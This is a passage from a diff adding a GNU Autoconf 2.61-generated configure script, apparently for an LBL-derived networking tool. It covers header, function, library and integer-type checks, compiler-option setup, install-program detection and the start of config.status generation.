"$ac_c_preproc_warn_flag$ac_c_werror_flag" || + test ! -s conftest.err + }; then + ac_header_preproc=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_header_preproc=no +fi + +rm -f conftest.err conftest.$ac_ext +{ echo "$as_me:$LINENO: result: $ac_header_preproc" >&5 +echo "${ECHO_T}$ac_header_preproc" >&6; } + +# So? What about this header? +case $ac_header_compiler:$ac_header_preproc:$ac_c_preproc_warn_flag in + yes:no: ) + { echo "$as_me:$LINENO: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&5 +echo "$as_me: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the compiler's result" >&5 +echo "$as_me: WARNING: $ac_header: proceeding with the compiler's result" >&2;} + ac_header_preproc=yes + ;; + no:yes:* ) + { echo "$as_me:$LINENO: WARNING: $ac_header: present but cannot be compiled" >&5 +echo "$as_me: WARNING: $ac_header: present but cannot be compiled" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: check for missing prerequisite headers?" >&5 +echo "$as_me: WARNING: $ac_header: check for missing prerequisite headers?" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: see the Autoconf documentation" >&5 +echo "$as_me: WARNING: $ac_header: see the Autoconf documentation" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: section \"Present But Cannot Be Compiled\"" >&5 +echo "$as_me: WARNING: $ac_header: section \"Present But Cannot Be Compiled\"" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the preprocessor's result" >&5 +echo "$as_me: WARNING: $ac_header: proceeding with the preprocessor's result" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: in the future, the compiler will take precedence" >&5 +echo "$as_me: WARNING: $ac_header: in the future, the compiler will take precedence" >&2;} + + ;; +esac +{ echo "$as_me:$LINENO: checking for $ac_header" >&5 +echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6; } +if { as_var=$as_ac_Header; eval "test \"\${$as_var+set}\" = set"; }; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + eval "$as_ac_Header=\$ac_header_preproc" +fi +ac_res=`eval echo '${'$as_ac_Header'}'` + { echo "$as_me:$LINENO: result: $ac_res" >&5 +echo "${ECHO_T}$ac_res" >&6; } + +fi +if test `eval echo '${'$as_ac_Header'}'` = yes; then + cat >>confdefs.h <<_ACEOF +#define `echo "HAVE_$ac_header" | $as_tr_cpp` 1 +_ACEOF + +fi + +done + + + +for ac_func in strerror +do +as_ac_var=`echo "ac_cv_func_$ac_func" | $as_tr_sh` +{ echo "$as_me:$LINENO: checking for $ac_func" >&5 +echo $ECHO_N "checking for $ac_func... $ECHO_C" >&6; } +if { as_var=$as_ac_var; eval "test \"\${$as_var+set}\" = set"; }; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +/* Define $ac_func to an innocuous variant, in case declares $ac_func. + For example, HP-UX 11i declares gettimeofday. */ +#define $ac_func innocuous_$ac_func + +/* System header to define __stub macros and hopefully few prototypes, + which can conflict with char $ac_func (); below. + Prefer to if __STDC__ is defined, since + exists even on freestanding compilers. */ + +#ifdef __STDC__ +# include +#else +# include +#endif + +#undef $ac_func + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. */ +#ifdef __cplusplus +extern "C" +#endif +char $ac_func (); +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined __stub_$ac_func || defined __stub___$ac_func +choke me +#endif + +int +main () +{ +return $ac_func (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { + test -z "$ac_c_werror_flag" || + test ! -s conftest.err + } && test -s conftest$ac_exeext && + $as_test_x conftest$ac_exeext; then + eval "$as_ac_var=yes" +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + eval "$as_ac_var=no" +fi + +rm -f core conftest.err conftest.$ac_objext conftest_ipa8_conftest.oo \ + conftest$ac_exeext conftest.$ac_ext +fi +ac_res=`eval echo '${'$as_ac_var'}'` + { echo "$as_me:$LINENO: result: $ac_res" >&5 +echo "${ECHO_T}$ac_res" >&6; } +if test `eval echo '${'$as_ac_var'}'` = yes; then + cat >>confdefs.h <<_ACEOF +#define `echo "HAVE_$ac_func" | $as_tr_cpp` 1 +_ACEOF + +else + case " $LIBOBJS " in + *" $ac_func.$ac_objext "* ) ;; + *) LIBOBJS="$LIBOBJS $ac_func.$ac_objext" + ;; +esac + +fi +done + + + +{ echo "$as_me:$LINENO: checking for main in -lnsl" >&5 +echo $ECHO_N "checking for main in -lnsl... $ECHO_C" >&6; } +if test "${ac_cv_lib_nsl_main+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_check_lib_save_LIBS=$LIBS +LIBS="-lnsl $LIBS" +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + + +int +main () +{ +return main (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { + test -z "$ac_c_werror_flag" || + test ! -s conftest.err + } && test -s conftest$ac_exeext && + $as_test_x conftest$ac_exeext; then + ac_cv_lib_nsl_main=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_lib_nsl_main=no +fi + +rm -f core conftest.err conftest.$ac_objext conftest_ipa8_conftest.oo \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS +fi +{ echo "$as_me:$LINENO: result: $ac_cv_lib_nsl_main" >&5 +echo "${ECHO_T}$ac_cv_lib_nsl_main" >&6; } +if test $ac_cv_lib_nsl_main = yes; then + cat >>confdefs.h <<_ACEOF +#define HAVE_LIBNSL 1 +_ACEOF + + LIBS="-lnsl $LIBS" + +fi + + +{ echo "$as_me:$LINENO: checking for main in -lsocket" >&5 +echo $ECHO_N "checking for main in -lsocket... $ECHO_C" >&6; } +if test "${ac_cv_lib_socket_main+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_check_lib_save_LIBS=$LIBS +LIBS="-lsocket $LIBS" +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + + +int +main () +{ +return main (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { + test -z "$ac_c_werror_flag" || + test ! -s conftest.err + } && test -s conftest$ac_exeext && + $as_test_x conftest$ac_exeext; then + ac_cv_lib_socket_main=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_lib_socket_main=no +fi + +rm -f core conftest.err conftest.$ac_objext conftest_ipa8_conftest.oo \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS +fi +{ echo "$as_me:$LINENO: result: $ac_cv_lib_socket_main" >&5 +echo "${ECHO_T}$ac_cv_lib_socket_main" >&6; } +if test $ac_cv_lib_socket_main = yes; then + cat >>confdefs.h <<_ACEOF +#define HAVE_LIBSOCKET 1 +_ACEOF + + LIBS="-lsocket $LIBS" + +fi + + +{ echo "$as_me:$LINENO: checking for int32_t using $CC" >&5 +echo $ECHO_N "checking for int32_t using $CC... $ECHO_C" >&6; } + if test "${ac_cv_lbl_have_int32_t+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +# include "confdefs.h" +# include +# if STDC_HEADERS +# include +# include +# endif +int +main () +{ +int32_t i + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { + test -z "$ac_c_werror_flag" || + test ! -s conftest.err + } && test -s conftest.$ac_objext; then + ac_cv_lbl_have_int32_t=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_lbl_have_int32_t=no +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +fi + + { echo "$as_me:$LINENO: result: $ac_cv_lbl_have_int32_t" >&5 +echo "${ECHO_T}$ac_cv_lbl_have_int32_t" >&6; } + if test $ac_cv_lbl_have_int32_t = no ; then + +cat >>confdefs.h <<\_ACEOF +#define int32_t int +_ACEOF + + fi +{ echo "$as_me:$LINENO: checking for u_int32_t using $CC" >&5 +echo $ECHO_N "checking for u_int32_t using $CC... $ECHO_C" >&6; } + if test "${ac_cv_lbl_have_u_int32_t+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +# include "confdefs.h" +# include +# if STDC_HEADERS +# include +# include +# endif +int +main () +{ +u_int32_t i + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { + test -z "$ac_c_werror_flag" || + test ! -s conftest.err + } && test -s conftest.$ac_objext; then + ac_cv_lbl_have_u_int32_t=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_lbl_have_u_int32_t=no +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +fi + + { echo "$as_me:$LINENO: result: $ac_cv_lbl_have_u_int32_t" >&5 +echo "${ECHO_T}$ac_cv_lbl_have_u_int32_t" >&6; } + if test $ac_cv_lbl_have_u_int32_t = no ; then + +cat >>confdefs.h <<\_ACEOF +#define u_int32_t u_int +_ACEOF + + fi + +rm -f os-proto.h + if test "${LBL_CFLAGS+set}" = set; then + V_CCOPT="$V_CCOPT ${LBL_CFLAGS}" + fi + if test -f .devel ; then + if test "$GCC" = yes ; then + if test "$SHLICC2" = yes ; then + ac_cv_lbl_gcc_vers=2 + V_CCOPT="`echo $V_CCOPT | sed -e 's/-O/-O2/'`" + else + { echo "$as_me:$LINENO: checking gcc version" >&5 +echo $ECHO_N "checking gcc version... $ECHO_C" >&6; } + if test "${ac_cv_lbl_gcc_vers+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + # Gag, the gcc folks keep changing the output... + ac_cv_lbl_gcc_vers=`$CC --version 2>&1 | \ + sed -e '1!d' -e 's/.* //' -e 's/\..*//'` +fi + + { echo "$as_me:$LINENO: result: $ac_cv_lbl_gcc_vers" >&5 +echo "${ECHO_T}$ac_cv_lbl_gcc_vers" >&6; } + if test $ac_cv_lbl_gcc_vers -gt 1 ; then + V_CCOPT="`echo $V_CCOPT | sed -e 's/-O/-O2/'`" + fi + fi + if test "${LBL_CFLAGS+set}" != set; then + if test "$ac_cv_prog_cc_g" = yes ; then + V_CCOPT="-g $V_CCOPT" + fi + V_CCOPT="$V_CCOPT -Wall" + if test $ac_cv_lbl_gcc_vers -gt 1 ; then + V_CCOPT="$V_CCOPT -Wmissing-prototypes -Wstrict-prototypes" + fi + fi + else + case "$target_os" in + + irix6*) + V_CCOPT="$V_CCOPT -fullwarn -n32" + ;; + + *) + ;; + esac + fi + os=`echo $target_os | sed -e 's/\([0-9][0-9]*\)[^0-9].*$/\1/'` + name="lbl/os-$os.h" + if test -f $name ; then + ln -s $name os-proto.h + +cat >>confdefs.h <<\_ACEOF +#define HAVE_OS_PROTO_H +_ACEOF + + else + { echo "$as_me:$LINENO: WARNING: can't find $name" >&5 +echo "$as_me: WARNING: can't find $name" >&2;} + fi + fi + +if test -r lbl/gnuc.h ; then + rm -f gnuc.h + ln -s lbl/gnuc.h gnuc.h +fi + + + + +# Find a good install program. We prefer a C program (faster), +# so one script is as good as another. But avoid the broken or +# incompatible versions: +# SysV /etc/install, /usr/sbin/install +# SunOS /usr/etc/install +# IRIX /sbin/install +# AIX /bin/install +# AmigaOS /C/install, which installs bootblocks on floppy discs +# AIX 4 /usr/bin/installbsd, which doesn't work without a -g flag +# AFS /usr/afsws/bin/install, which mishandles nonexistent args +# SVR4 /usr/ucb/install, which tries to use the nonexistent group "staff" +# OS/2's system install, which has a completely different semantic +# ./install, which can be erroneously created by make from ./install.sh. +{ echo "$as_me:$LINENO: checking for a BSD-compatible install" >&5 +echo $ECHO_N "checking for a BSD-compatible install... $ECHO_C" >&6; } +if test -z "$INSTALL"; then +if test "${ac_cv_path_install+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + # Account for people who put trailing slashes in PATH elements. +case $as_dir/ in + ./ | .// | /cC/* | \ + /etc/* | /usr/sbin/* | /usr/etc/* | /sbin/* | /usr/afsws/bin/* | \ + ?:\\/os2\\/install\\/* | ?:\\/OS2\\/INSTALL\\/* | \ + /usr/ucb/* ) ;; + *) + # OSF1 and SCO ODT 3.0 have their own names for install. + # Don't use installbsd from OSF since it installs stuff as root + # by default. + for ac_prog in ginstall scoinst install; do + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_prog$ac_exec_ext" && $as_test_x "$as_dir/$ac_prog$ac_exec_ext"; }; then + if test $ac_prog = install && + grep dspmsg "$as_dir/$ac_prog$ac_exec_ext" >/dev/null 2>&1; then + # AIX install. It has an incompatible calling convention. + : + elif test $ac_prog = install && + grep pwplus "$as_dir/$ac_prog$ac_exec_ext" >/dev/null 2>&1; then + # program-specific install script used by HP pwplus--don't use. + : + else + ac_cv_path_install="$as_dir/$ac_prog$ac_exec_ext -c" + break 3 + fi + fi + done + done + ;; +esac +done +IFS=$as_save_IFS + + +fi + if test "${ac_cv_path_install+set}" = set; then + INSTALL=$ac_cv_path_install + else + # As a last resort, use the slow shell script. Don't cache a + # value for INSTALL within a source directory, because that will + # break other packages using the cache if that directory is + # removed, or if the value is a relative name. + INSTALL=$ac_install_sh + fi +fi +{ echo "$as_me:$LINENO: result: $INSTALL" >&5 +echo "${ECHO_T}$INSTALL" >&6; } + +# Use test -z because SunOS4 sh mishandles braces in ${var-val}. +# It thinks the first close brace ends the variable substitution. +test -z "$INSTALL_PROGRAM" && INSTALL_PROGRAM='${INSTALL}' + +test -z "$INSTALL_SCRIPT" && INSTALL_SCRIPT='${INSTALL}' + +test -z "$INSTALL_DATA" && INSTALL_DATA='${INSTALL} -m 644' + + +ac_config_files="$ac_config_files Makefile" + +cat >confcache <<\_ACEOF +# This file is a shell script that caches the results of configure +# tests run on this system so they can be shared between configure +# scripts and configure runs, see configure's option --config-cache. +# It is not useful on other systems. If it contains results you don't +# want to keep, you may remove or edit it. +# +# config.status only pays attention to the cache file if you give it +# the --recheck option to rerun configure. +# +# `ac_cv_env_foo' variables (set or unset) will be overridden when +# loading this file, other *unset* `ac_cv_foo' will be assigned the +# following values. + +_ACEOF + +# The following way of writing the cache mishandles newlines in values, +# but we know of no workaround that is simple, portable, and efficient. +# So, we kill variables containing newlines. +# Ultrix sh set writes to stderr and can't be redirected directly, +# and sets the high bit in the cache file unless we assign to the vars. +( + for ac_var in `(set) 2>&1 | sed -n 's/^\([a-zA-Z_][a-zA-Z0-9_]*\)=.*/\1/p'`; do + eval ac_val=\$$ac_var + case $ac_val in #( + *${as_nl}*) + case $ac_var in #( + *_cv_*) { echo "$as_me:$LINENO: WARNING: Cache variable $ac_var contains a newline." >&5 +echo "$as_me: WARNING: Cache variable $ac_var contains a newline." >&2;} ;; + esac + case $ac_var in #( + _ | IFS | as_nl) ;; #( + *) $as_unset $ac_var ;; + esac ;; + esac + done + + (set) 2>&1 | + case $as_nl`(ac_space=' '; set) 2>&1` in #( + *${as_nl}ac_space=\ *) + # `set' does not quote correctly, so add quotes (double-quote + # substitution turns \\\\ into \\, and sed turns \\ into \). + sed -n \ + "s/'/'\\\\''/g; + s/^\\([_$as_cr_alnum]*_cv_[_$as_cr_alnum]*\\)=\\(.*\\)/\\1='\\2'/p" + ;; #( + *) + # `set' quotes correctly as required by POSIX, so do not add quotes. + sed -n "/^[_$as_cr_alnum]*_cv_[_$as_cr_alnum]*=/p" + ;; + esac | + sort +) | + sed ' + /^ac_cv_env_/b end + t clear + :clear + s/^\([^=]*\)=\(.*[{}].*\)$/test "${\1+set}" = set || &/ + t end + s/^\([^=]*\)=\(.*\)$/\1=${\1=\2}/ + :end' >>confcache +if diff "$cache_file" confcache >/dev/null 2>&1; then :; else + if test -w "$cache_file"; then + test "x$cache_file" != "x/dev/null" && + { echo "$as_me:$LINENO: updating cache $cache_file" >&5 +echo "$as_me: updating cache $cache_file" >&6;} + cat confcache >$cache_file + else + { echo "$as_me:$LINENO: not updating unwritable cache $cache_file" >&5 +echo "$as_me: not updating unwritable cache $cache_file" >&6;} + fi +fi +rm -f confcache + +test "x$prefix" = xNONE && prefix=$ac_default_prefix +# Let make expand exec_prefix. +test "x$exec_prefix" = xNONE && exec_prefix='${prefix}' + +# Transform confdefs.h into DEFS. +# Protect against shell expansion while executing Makefile rules. +# Protect against Makefile macro expansion. +# +# If the first sed substitution is executed (which looks for macros that +# take arguments), then branch to the quote section. Otherwise, +# look for a macro that doesn't take arguments. +ac_script=' +t clear +:clear +s/^[ ]*#[ ]*define[ ][ ]*\([^ (][^ (]*([^)]*)\)[ ]*\(.*\)/-D\1=\2/g +t quote +s/^[ ]*#[ ]*define[ ][ ]*\([^ ][^ ]*\)[ ]*\(.*\)/-D\1=\2/g +t quote +b any +:quote +s/[ `~#$^&*(){}\\|;'\''"<>?]/\\&/g +s/\[/\\&/g +s/\]/\\&/g +s/\$/$$/g +H +:any +${ + g + s/^\n// + s/\n/ /g + p +} +' +DEFS=`sed -n "$ac_script" confdefs.h` + + +ac_libobjs= +ac_ltlibobjs= +for ac_i in : $LIBOBJS; do test "x$ac_i" = x: && continue + # 1. Remove the extension, and $U if already installed. + ac_script='s/\$U\././;s/\.o$//;s/\.obj$//' + ac_i=`echo "$ac_i" | sed "$ac_script"` + # 2. Prepend LIBOBJDIR. When used with automake>=1.10 LIBOBJDIR + # will be set to the directory where LIBOBJS objects are built. + ac_libobjs="$ac_libobjs \${LIBOBJDIR}$ac_i\$U.$ac_objext" + ac_ltlibobjs="$ac_ltlibobjs \${LIBOBJDIR}$ac_i"'$U.lo' +done +LIBOBJS=$ac_libobjs + +LTLIBOBJS=$ac_ltlibobjs + + + +: ${CONFIG_STATUS=./config.status} +ac_clean_files_save=$ac_clean_files +ac_clean_files="$ac_clean_files $CONFIG_STATUS" +{ echo "$as_me:$LINENO: creating $CONFIG_STATUS" >&5 +echo "$as_me: creating $CONFIG_STATUS" >&6;} +cat >$CONFIG_STATUS <<_ACEOF +#! $SHELL +# Generated by $as_me. +# Run this file to recreate the current configuration. +# Compiler output produced by configure, useful for debugging +# configure, is in config.log if it exists. + +debug=false +ac_cs_recheck=false +ac_cs_silent=false +SHELL=\${CONFIG_SHELL-$SHELL} +_ACEOF + +cat >>$CONFIG_STATUS <<\_ACEOF +## --------------------- ## +## M4sh Initialization. ## +## --------------------- ## + +# Be more Bourne compatible +DUALCASE=1; export DUALCASE # for MKS sh +if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then + emulate sh + NULLCMD=: + # Zsh 3.x and 4.x performs word splitting on ${1+"$@"}, which + # is contrary to our usage. Disable this feature. + alias -g '${1+"$@"}'='"$@"' + setopt NO_GLOB_SUBST +else + case `(set -o) 2>/dev/null` in + *posix*) set -o posix ;; +esac + +fi + + + + +# PATH needs CR +# Avoid depending upon Character Ranges. +as_cr_letters='abcdefghijklmnopqrstuvwxyz' +as_cr_LETTERS='ABCDEFGHIJKLMNOPQRSTUVWXYZ' +as_cr_Letters=$as_cr_letters$as_cr_LETTERS +as_cr_digits='0123456789' +as_cr_alnum=$as_cr_Letters$as_cr_digits + +# The user is always right. +if test "${PATH_SEPARATOR+set}" != set; then + echo "#! /bin/sh" >conf$$.sh + echo "exit 0" >>conf$$.sh + chmod +x conf$$.sh + if (PATH="/nonexistent;."; conf$$.sh) >/dev/null 2>&1; then + PATH_SEPARATOR=';' + else + PATH_SEPARATOR=: + fi + rm -f conf$$.sh +fi + +# Support unset when possible. +if ( (MAIL=60; unset MAIL) || exit) >/dev/null 2>&1; then + as_unset=unset +else + as_unset=false +fi + + +# IFS +# We need space, tab and new line, in precisely that order. Quoting is +# there to prevent editors from complaining about space-tab. +# (If _AS_PATH_WALK were called with IFS unset, it would disable word +# splitting by setting IFS to empty value.) +as_nl=' +' +IFS=" "" $as_nl" + +# Find who we are. Look in the path if we contain no directory separator. +case $0 in + *[\\/]* ) as_myself=$0 ;; + *) as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + test -r "$as_dir/$0" && as_myself=$as_dir/$0 && break +done +IFS=$as_save_IFS + + ;; +esac +# We did not find ourselves, most probably we were run as `sh COMMAND' +# in which case we are not to be found in the path. +if test "x$as_myself" = x; then + as_myself=$0 +fi +if test ! -f "$as_myself"; then + echo "$as_myself: error: cannot find myself; rerun with an absolute file name" >&2 + { (exit 1); exit 1; } +fi + +# Work around bugs in pre-3.0 UWIN ksh. +for as_var in ENV MAIL MAILPATH +do ($as_unset $as_var) >/dev/null 2>&1 && $as_unset $as_var +done +PS1='$ ' +PS2='> ' +PS4='+ ' + +# NLS nuisances. +for as_var in \ + LANG LANGUAGE LC_ADDRESS LC_ALL LC_COLLATE LC_CTYPE LC_IDENTIFICATION \ + LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER \ + LC_TELEPHONE LC_TIME +do + if (set +x; test -z "`(eval $as_var=C; export $as_var) 2>&1`"); then + eval $as_var=C; export $as_var + else + ($as_unset $as_var) >/dev/null 2>&1 && $as_unset $as_var + fi +done + +# Required to use basename. +if expr a : '\(a\)' >/dev/null 2>&1 && + test "X`expr 00001 : '.*\(...\)'`" = X001; then + as_expr=expr +else + as_expr=false +fi + +if (basename -- /) >/dev/null 2>&1 && test "X`basename -- / 2>&1`" = "X/"; then + as_basename=basename +else + as_basename=false +fi + + +# Name of the executable. +as_me=`$as_basename -- "$0" || +$as_expr X/"$0" : '.*/\([^/][^/]*\)/*$' \| \ + X"$0" : 'X\(//\)$' \| \ + X"$0" : 'X\(/\)' \| . 2>/dev/null || +echo X/"$0" | + sed '/^.*\/\([^/][^/]*\)\/*$/{ + s//\1/ + q + } + /^X\/\(\/\/\)$/{ + s//\1/ + q + } + /^X\/\(\/\).*/{ + s//\1/ + q + } + s/.*/./; q'` + +# CDPATH. +$as_unset CDPATH + + + + as_lineno_1=$LINENO + as_lineno_2=$LINENO + test "x$as_lineno_1" != "x$as_lineno_2" && + test "x`expr $as_lineno_1 + 1`" = "x$as_lineno_2" || { + + # Create $as_me.lineno as a copy of $as_myself, but with $LINENO + # uniformly replaced by the line number. The first 'sed' inserts a + # line-number line after each line using $LINENO; the second 'sed' + # does the real work. The second script uses 'N' to pair each + # line-number line with the line containing $LINENO, and appends + # trailing '-' during substitution so that $LINENO is not a special + # case at line end. + # (Raja R Harinath suggested sed '=', and Paul Eggert wrote the + # scripts with optimization help from Paolo Bonzini. Blame Lee + # E. McMahon (1931-1989) for sed's syntax. :-) + sed -n ' + p + /[$]LINENO/= + ' <$as_myself | + sed ' + s/[$]LINENO.*/&-/ + t lineno + b + :lineno + N + :loop + s/[$]LINENO\([^'$as_cr_alnum'_].*\n\)\(.*\)/\2\1\2/ + t loop + s/-\n.*// + ' >$as_me.lineno && + chmod +x "$as_me.lineno" || + { echo "$as_me: error: cannot create $as_me.lineno; rerun with a POSIX shell" >&2 + { (exit 1); exit 1; }; } + + # Don't try to exec as it changes $[0], causing all sort of problems + # (the dirname of $[0] is not the place where we might find the + # original and so on. Autoconf is especially sensitive to this). + . "./$as_me.lineno" + # Exit status is that of the last command. + exit +} + + +if (as_dir=`dirname -- /` && test "X$as_dir" = X/) >/dev/null 2>&1; then + as_dirname=dirname +else + as_dirname=false +fi + +ECHO_C= ECHO_N= ECHO_T= +case `echo -n x` in +-n*) + case `echo 'x\c'` in + *c*) ECHO_T=' ';; # ECHO_T is single tab character. + *) ECHO_C='\c';; + esac;; +*) + ECHO_N='-n';; +esac + +if expr a : '\(a\)' >/dev/null 2>&1 && + test "X`expr 00001 : '.*\(...\)'`" = X001; then + as_expr=expr +else + as_expr=false +fi + +rm -f conf$$ conf$$.exe conf$$.file +if test -d conf$$.dir; then + rm -f conf$$.dir/conf$$.file +else + rm -f conf$$.dir + mkdir conf$$.dir +fi +echo >conf$$.file +if ln -s conf$$.file conf$$ 2>/dev/null; then + as_ln_s='ln -s' + # ... but there are two gotchas: + # 1) On MSYS, both `ln -s file dir' and `ln file dir' fail. + # 2) DJGPP < 2.04 has no symlinks; `ln -s' creates a wrapper executable. + # In both cases, we have to default to `cp -p'. + ln -s conf$$.file conf$$.dir 2>/dev/null && test ! -f conf$$.exe || + as_ln_s='cp -p' +elif ln conf$$.file conf$$ 2>/dev/null; then + as_ln_s=ln +else + as_ln_s='cp -p' +fi +rm -f conf$$ conf$$.exe conf$$.dir/conf$$.file conf$$.file +rmdir conf$$.dir 2>/dev/null + +if mkdir -p . 2>/dev/null; then + as_mkdir_p=: +else + test -d ./-p && rmdir ./-p + as_mkdir_p=false +fi + +if test -x / >/dev/null 2>&1; then + as_test_x='test -x' +else + if ls -dL / >/dev/null 2>&1; then + as_ls_L_option=L + else + as_ls_L_option= + fi + as_test_x=' + eval sh -c '\'' + if test -d "$1"; then + test -d "$1/."; + else + case $1 in + -*)set "./$1";; + esac; + case `ls -ld'$as_ls_L_option' "$1" 2>/dev/null` in + ???[sx]*):;;*)false;;esac;fi + '\'' sh + ' +fi +as_executable_p=$as_test_x + +# Sed expression to map a string onto a valid CPP name. +as_tr_cpp="eval sed 'y%*$as_cr_letters%P$as_cr_LETTERS%;s%[^_$as_cr_alnum]%_%g'" + +# Sed expression to map a string onto a valid variable name. +as_tr_sh="eval sed 'y%*+%pp%;s%[^_$as_cr_alnum]%_%g'" + + +exec 6>&1 + +# Save the log message, to keep $[0] and so on meaningful, and to +# report actual input values of CONFIG_FILES etc. instead of their +# values after options handling. +ac_log=" +This file was extended by $as_me, which was +generated by GNU Autoconf 2.61. Invocation command line was + + CONFIG_FILES = $CONFIG_FILES + CONFIG_HEADERS = $CONFIG_HEADERS + CONFIG_LINKS = $CONFIG_LINKS + CONFIG_COMMANDS = $CONFIG_COMMANDS + $ $0 $@ + +on `(hostname || uname -n) 2>/dev/null | sed 1q` +" + +_ACEOF + +cat >>$CONFIG_STATUS <<_ACEOF +# Files that config.status was made for. +config_files="$ac_config_files" + +_ACEOF + +cat >>$CONFIG_STATUS <<\_ACEOF +ac_cs_usage="\ +\`$as_me' instantiates files from templates according to the +current configuration. + +Usage: $0 [OPTIONS] 